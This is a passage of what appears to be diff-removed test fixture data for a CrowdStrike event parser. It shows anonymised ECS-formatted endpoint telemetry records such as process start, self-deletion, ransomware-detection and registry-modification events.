-                "id": "0b8735c9a332451c9040cce79b716849ed11|b956f48020b41a099bfc062444b8ea38|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"ProcessExecOnSMBFile\",\"UserName\":\"601f56394305\",\"ConfigStateHash\":\"3030480009\",\"ContextProcessId\":\"2002000091665\",\"aip\":\"89.160.20.112\",\"LogonDomain\":\"6e\",\"AuthenticationId\":\"30409004030\",\"UserPrincipal\":\"testuser@test.com\",\"UserSid\":\"S-70019-66419-130-71535-26067-98292-95578\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"PatternId\":\"459\",\"ClientComputerName\":\"1a241b813c0288\",\"Entitlements\":\"36\",\"name\":\"8f744680ad930347c854bf\",\"EventOrigin\":\"1\",\"id\":\"0b8735c9a332451c9040cce79b716849ed11\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"b956f48020b41a099bfc062444b8ea38\",\"RemoteAddressIP4\":\"81.2.69.144\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "domain": "6e",
-                "id": "b956f48020b41a099bfc062444b8ea38",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessExecOnSMBFile",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "b956f48020b41a099bfc062444b8ea38",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "2002000091665"
-            },
-            "related": {
-                "hash": [
-                    "3030480009"
-                ],
-                "hosts": [
-                    "1a241b813c0288"
-                ],
-                "ip": [
-                    "89.160.20.112",
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "601f56394305",
-                    "testuser",
-                    "testuser@test.com",
-                    "S-70019-66419-130-71535-26067-98292-95578"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "test.com",
-                "email": "testuser@test.com",
-                "full_name": "testuser",
-                "id": "S-70019-66419-130-71535-26067-98292-95578",
-                "name": "601f56394305"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "AuthenticodeHashData": "98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4",
-                "ConfigStateHash": "710307050",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "46",
-                "EventOrigin": "1",
-                "ImageSubsystem": "2",
-                "IntegrityLevel": "90902",
-                "MD5HashData": "9fd1131ff976c9a3212a1db685870aa1",
-                "ParentAuthenticationId": "830",
-                "ProcessCreateFlags": "4",
-                "ProcessParameterFlags": "41103",
-                "ProcessSxsFlags": "26",
-                "SHA1HashData": "9692067083780606753097782045800757094700",
-                "SHA256HashData": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331",
-                "SessionId": "0",
-                "SignInfoFlags": "932000",
-                "SourceProcessId": "8000051703140",
-                "SourceThreadId": "400901163020000",
-                "Tags": [
-                    "982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2"
-                ],
-                "TokenType": "1",
-                "WindowFlags": "274",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "36f0bb29be278fc8322806730ffa12e53207",
-                "name": "f9ba95e9061aae4be"
-            },
-            "device": {
-                "id": "40b756af7c1d76ef66cb380d94090915"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "36f0bb29be278fc8322806730ffa12e53207|40b756af7c1d76ef66cb380d94090915|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ProcessCreateFlags\":\"4\",\"IntegrityLevel\":\"90902\",\"ParentProcessId\":\"3000051703140\",\"SourceProcessId\":\"8000051703140\",\"aip\":\"81.2.69.142\",\"SHA1HashData\":\"9692067083780606753097782045800757094700\",\"UserSid\":\"S-62374-88856-1334\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"ProcessEndTime\":\"\",\"AuthenticodeHashData\":\"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4\",\"ParentBaseFileName\":\"bce7ccba7d55464cc50\",\"EventOrigin\":\"1\",\"ImageSubsystem\":\"2\",\"id\":\"36f0bb29be278fc8322806730ffa12e53207\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"0\",\"Tags\":\"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"10603\",\"ConfigStateHash\":\"710307050\",\"MD5HashData\":\"9fd1131ff976c9a3212a1db685870aa1\",\"SHA256HashData\":\"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331\",\"ProcessSxsFlags\":\"26\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"WindowFlags\":\"274\",\"CommandLine\":\"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5\",\"ParentAuthenticationId\":\"830\",\"TargetProcessId\":\"8200110794047\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\5fd4a1cd\\\\d5a15842.exe\",\"SourceThreadId\":\"400901163020000\",\"Entitlements\":\"46\",\"name\":\"f9ba95e9061aae4be\",\"ProcessStartTime\":\"1745988595.443\",\"ProcessParameterFlags\":\"41103\",\"aid\":\"40b756af7c1d76ef66cb380d94090915\",\"SignInfoFlags\":\"932000\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "40b756af7c1d76ef66cb380d94090915",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "40b756af7c1d76ef66cb380d94090915",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "5f20a496dc8",
-                    "d43d1f330482ee8",
-                    "5699b4437440b65580e85c88f5cdca035e77",
-                    "-e6ec25fc0",
-                    "-ce",
-                    "f06d9af09b660129fc208a858ce75e59",
-                    "-63",
-                    "90907973f6",
-                    "-9de2",
-                    "e162e",
-                    "-af0975",
-                    "7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851",
-                    "-d89d7",
-                    "d97ed553ad5f4263d831dfb497ed48a295e01396",
-                    "-288",
-                    "5"
-                ],
-                "args_count": 16,
-                "command_line": "5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5",
-                "entity_id": "8200110794047",
-                "executable": "\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe",
-                "hash": {
-                    "md5": "9fd1131ff976c9a3212a1db685870aa1",
-                    "sha1": "9692067083780606753097782045800757094700",
-                    "sha256": "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331"
-                },
-                "name": "d5a15842.exe",
-                "parent": {
-                    "entity_id": "3000051703140",
-                    "name": "bce7ccba7d55464cc50"
-                },
-                "pid": 10603,
-                "start": "2025-04-30T04:49:55.443Z"
-            },
-            "related": {
-                "hash": [
-                    "9fd1131ff976c9a3212a1db685870aa1",
-                    "f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331",
-                    "9692067083780606753097782045800757094700",
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "S-62374-88856-1334"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-62374-88856-1334"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "5080600092",
-                "ContextProcessId": "8008070284808",
-                "ContextTimeStamp": "2025-05-23T18:59:41.961Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "SHA256HashData": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87",
-                "SourceProcessId": "8020239020790",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "37ea1966fb73e596eaceeeda74969e0cf6fe",
-                "name": "1a4daccccece9ef5ba96"
-            },
-            "device": {
-                "id": "4a13114d95ed726004929f3de3863e97"
-            },
-            "event": {
-                "action": "ProcessSelfDeleted",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "37ea1966fb73e596eaceeeda74969e0cf6fe|4a13114d95ed726004929f3de3863e97|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"ProcessSelfDeleted\",\"ContextTimeStamp\":\"1748026781.961\",\"ConfigStateHash\":\"5080600092\",\"ContextProcessId\":\"8008070284808\",\"SourceProcessId\":\"8020239020790\",\"aip\":\"81.2.69.144\",\"SHA256HashData\":\"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"5100718000400\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\08ddb9f6\\\\0f51ad6\\\\8c31e\\\\d62f\\\\e\\\\ff53b0\\\\2b6\\\\38227bb0.exe\",\"Entitlements\":\"16\",\"name\":\"1a4daccccece9ef5ba96\",\"EventOrigin\":\"1\",\"id\":\"37ea1966fb73e596eaceeeda74969e0cf6fe\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"4a13114d95ed726004929f3de3863e97\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "file": {
-                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1"
-            },
-            "host": {
-                "id": "4a13114d95ed726004929f3de3863e97",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessSelfDeleted",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "4a13114d95ed726004929f3de3863e97",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "5100718000400",
-                "executable": "\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe",
-                "hash": {
-                    "sha256": "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87"
-                },
-                "name": "38227bb0.exe"
-            },
-            "related": {
-                "hash": [
-                    "0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87",
-                    "5080600092"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ClientId": "81",
-                "ConfigStateHash": "7800020060",
-                "ContextProcessId": "1005300580270",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "PatternId": "684",
-                "SHA256HashData": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
-                "Tags": [
-                    "18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5"
-                ],
-                "TargetFileName": "\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "791f3434f4eb1f2494635bfa6c51a2855d12",
-                "name": "678e528c681bbe14db4667945d920"
-            },
-            "device": {
-                "id": "ce205ce972e1ec0b34c552d96f46397a"
-            },
-            "event": {
-                "action": "RansomwareFileAccessPattern",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "791f3434f4eb1f2494635bfa6c51a2855d12|ce205ce972e1ec0b34c552d96f46397a|4092825518eaf67377a6e4492ae44577",
-                "kind": "alert",
-                "original": "{\"event_simpleName\":\"RansomwareFileAccessPattern\",\"ConfigStateHash\":\"7800020060\",\"ContextProcessId\":\"1005300580270\",\"SourceFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\b79c\\\\5c49f\\\\be379a3.rtf\",\"aip\":\"89.160.20.112\",\"SHA256HashData\":\"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\d598026\\\\4a6a0a4b\\\\a096c58f.exe\\\"\",\"PatternId\":\"684\",\"ImageFileName\":\"\\\\6ba0bd\\\\257d4e13\\\\d598026\\\\dc9ec376\\\\a096c58f.exe\",\"Entitlements\":\"36\",\"name\":\"678e528c681bbe14db4667945d920\",\"EventOrigin\":\"1\",\"ClientId\":\"81\",\"id\":\"791f3434f4eb1f2494635bfa6c51a2855d12\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ce205ce972e1ec0b34c552d96f46397a\",\"Tags\":\"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\76648b42\\\\d598026\\\\c7bac469.NET\\\\c70281ee\\\\aca7.30319\\\\4820dd5a.sql\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f",
-                "extension": "rtf",
-                "hash": {
-                    "sha256": "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68"
-                },
-                "name": "be379a3.rtf",
-                "path": "\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf",
-                "type": "file"
-            },
-            "host": {
-                "id": "ce205ce972e1ec0b34c552d96f46397a",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RansomwareFileAccessPattern",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "ce205ce972e1ec0b34c552d96f46397a",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "54d\\d598026\\4a6a0a4b\\a096c58f.exe"
-                ],
-                "args_count": 1,
-                "command_line": "54d\\d598026\\4a6a0a4b\\a096c58f.exe\"",
-                "entity_id": "1005300580270",
-                "executable": "\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe",
-                "name": "a096c58f.exe"
-            },
-            "related": {
-                "hash": [
-                    "60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68",
-                    "7800020060"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "BoundingLimitCount": 1,
-                "BoundingLimitDuration": "5486640",
-                "ConfigStateHash": "9250777000",
-                "ContextProcessId": "7701685113510",
-                "ContextTimeStamp": "2025-06-27T12:57:00.082Z",
-                "DesiredAccess": "5750008",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "FileAttributes": "0",
-                "FileObject": "0",
-                "Information": "1",
-                "IrpFlags": "2500",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "90328446",
-                "ShareAccess": "7",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "13e038874f0490733a5191031434b8657382",
-                "name": "4c8f7117e5d227bf9ddc"
-            },
-            "device": {
-                "id": "ea08505420aa828a0a52a6eed3c8a196"
-            },
-            "event": {
-                "action": "RansomwareOpenFile",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "13e038874f0490733a5191031434b8657382|ea08505420aa828a0a52a6eed3c8a196|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"Options\":\"90328446\",\"ContextThreadId\":\"344002022970675\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.112\",\"BoundingLimitCount\":\"1\",\"Information\":\"1\",\"FileIdentifier\":\"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612\",\"event_platform\":\"Win\",\"ShareAccess\":\"7\",\"EventOrigin\":\"1\",\"id\":\"13e038874f0490733a5191031434b8657382\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"0\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"RansomwareOpenFile\",\"ContextTimeStamp\":\"1751029020.082\",\"ConfigStateHash\":\"9250777000\",\"ContextProcessId\":\"7701685113510\",\"IrpFlags\":\"2500\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5750008\",\"BoundingLimitDuration\":\"5486640\",\"Entitlements\":\"26\",\"name\":\"4c8f7117e5d227bf9ddc\",\"OperationFlags\":\"0\",\"aid\":\"ea08505420aa828a0a52a6eed3c8a196\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\b169fe25\\\\4e7075fa.key\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\9134161b\\b169fe25",
-                "extension": "key",
-                "inode": "4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612",
-                "name": "4e7075fa.key",
-                "path": "\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key",
-                "type": "file"
-            },
-            "host": {
-                "id": "ea08505420aa828a0a52a6eed3c8a196",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "RansomwareOpenFile",
-            "observer": {
-                "address": [
-                    "89.160.20.112"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "serial_number": "ea08505420aa828a0a52a6eed3c8a196",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "7701685113510",
-                "thread": {
-                    "id": 344002022970675
-                }
-            },
-            "related": {
-                "hash": [
-                    "9250777000"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "830",
-                "ConfigStateHash": "3440491101",
-                "ContextProcessId": "2090006508607",
-                "ContextTimeStamp": "2025-10-29T00:43:06.458Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "RegClassification": "806",
-                "RegClassificationFlags": "454",
-                "RegClassificationIndex": "430",
-                "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a",
-                "RegOperationType": "1",
-                "RegStringValue": "1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1",
-                "RegType": "7",
-                "RegValueName": "ee0bc2006c367f53b607da1122e",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2e723341d059eefec4c8ff3c9062764c68e3",
-                "name": "0e92d5a77de501c1f1c9064"
-            },
-            "device": {
-                "id": "52cf03e6cbd930e0081ab561b4366e03"
-            },
-            "event": {
-                "action": "modification",
-                "category": [
-                    "registry"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2e723341d059eefec4c8ff3c9062764c68e3|52cf03e6cbd930e0081ab561b4366e03|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"98420079085202\",\"aip\":\"89.160.20.112\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\32d7e82\\\\185d320a\",\"RegClassificationFlags\":\"454\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"id\":\"2e723341d059eefec4c8ff3c9062764c68e3\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"1c\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\c663c82b\\\\d62f\\\\fbcbd9a.tmp\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\add7750.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\89e8b1.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\d4579.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\a64335cc.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\c54e80.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\7d32a173.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\18f\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\560\\\\4\\\\15288c.DLL\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\4ad95b3.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\d62f\\\\9420a69.exe\\u0000\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\18f\\\\bc742c1d.dll\\u0000*1\\\\e2\\\\82\\\\d598026\\\\dc9ec376\\\\627c0\\\\a715181\\\\20f7e2\\\\4\\\\bc742c1d.dll\\u0000